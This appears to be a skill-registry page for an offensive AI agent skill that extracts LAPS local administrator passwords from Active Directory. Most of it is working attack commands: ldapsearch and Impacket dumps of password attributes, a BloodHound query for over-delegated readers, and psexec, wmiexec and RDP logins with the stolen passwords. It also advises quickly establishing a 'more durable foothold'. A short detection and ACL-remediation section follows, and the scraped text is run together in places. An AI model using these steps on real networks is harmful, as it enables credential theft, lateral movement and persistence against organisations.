Extract LAPS-managed local administrator passwords from AD computer objects (ms-Mcs-AdmPwd / msLAPS-Password).
56
66%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/ad/laps/SKILL.mdLAPS (Local Administrator Password Solution) stores randomized local
admin passwords on computer objects in AD. Reading them requires
ms-Mcs-AdmPwd (legacy) or msLAPS-Password (Windows LAPS) read
permission — which is OFTEN over-delegated.
# Legacy LAPS schema
ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
-b 'CN=Schema,CN=Configuration,DC=corp,DC=local' \
'(name=ms-Mcs-AdmPwd)' name
# Windows LAPS (2023+)
ldapsearch ... '(name=msLAPS-Password)' name
# Either present = LAPS is deployedFrom BloodHound — anyone with ReadLAPSPassword edge:
MATCH (n)-[:ReadLAPSPassword]->(c:Computer)
RETURN DISTINCT n.name, c.nameCommon over-delegation patterns:
GenericAll on Computer objects (implies LAPS read)# Direct LDAP query as authorized user
ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
-b 'DC=corp,DC=local' \
'(&(objectClass=computer)(ms-Mcs-AdmPwd=*))' \
name dNSHostName ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime > /tmp/laps.txt
# Windows LAPS uses encrypted attribute by default
ldapsearch ... \
'(&(objectClass=computer)(msLAPS-EncryptedPassword=*))' \
name dNSHostName msLAPS-EncryptedPassword msLAPS-PasswordImpacket helper:
# Recovers legacy LAPS
GetLAPSPassword.py 'DOM/USER:PASS@DC_FQDN' \
-outputfile /tmp/laps.csv
# Newer Windows LAPS w/ encryption: use python-windows-laps or
# manual ASN.1 decode w/ user's DPAPI keylaps_ingest("/tmp/laps.txt")This adds:
kg_add_node(kind="credential", label="<host>\\Administrator:<plain>",
props={"source":"laps","host":"<host>","expires":"<date>"})
kg_add_edge(src=<cred>, dst=<computer>, kind="local-admin")Windows LAPS (server 2022+) encrypts the password with a per-principal DPAPI key derived from the AD-stored public key. To decrypt:
dpapi::masterkey), orSet-LAPSADAuditing policyIf neither, the msLAPS-EncryptedPassword blob is useless without context.
# SMB / WMI as local admin
psexec.py 'HOST\\Administrator:LAPS_PW@10.0.0.5'
wmiexec.py 'HOST\\Administrator:LAPS_PW@10.0.0.5'
# RDP
xfreerdp /u:Administrator /p:'LAPS_PW' /v:10.0.0.5 +clipboardNOTE: LAPS rotates on a schedule (default 30 days). Use the pw quickly and grab a more durable foothold (cached creds, scheduled task, service account hash).
ms-Mcs-AdmPwd attribute is event 4662 on DC
with object type Computer and Properties referencing the AdmPwd GUIDCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 7.5# Audit who can read LAPS pw on a Computer object
Get-ACL "AD:CN=HOST,OU=Servers,DC=dom,DC=local" |
Select -ExpandProperty Access |
Where {$_.ObjectType -eq '<AdmPwd-GUID>'} |
Format-Table IdentityReference, ActiveDirectoryRights
# Remove over-delegated readers
$acl = Get-ACL "AD:CN=HOST,..."
$ace = New-Object DirectoryServices.ActiveDirectoryAccessRule(
'DOM\HelpDeskGroup', 'ExtendedRight', 'Deny',
'<AdmPwd-GUID>', 'Descendents', '<Computer-GUID>')
$acl.AddAccessRule($ace)
Set-ACL -Path "AD:CN=HOST,..." -AclObject $acl
# Or use the LAPS-shipped audit cmdlet
Find-AdmPwdExtendedRights -Identity 'OU=Servers,DC=dom,DC=local'e34afba
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.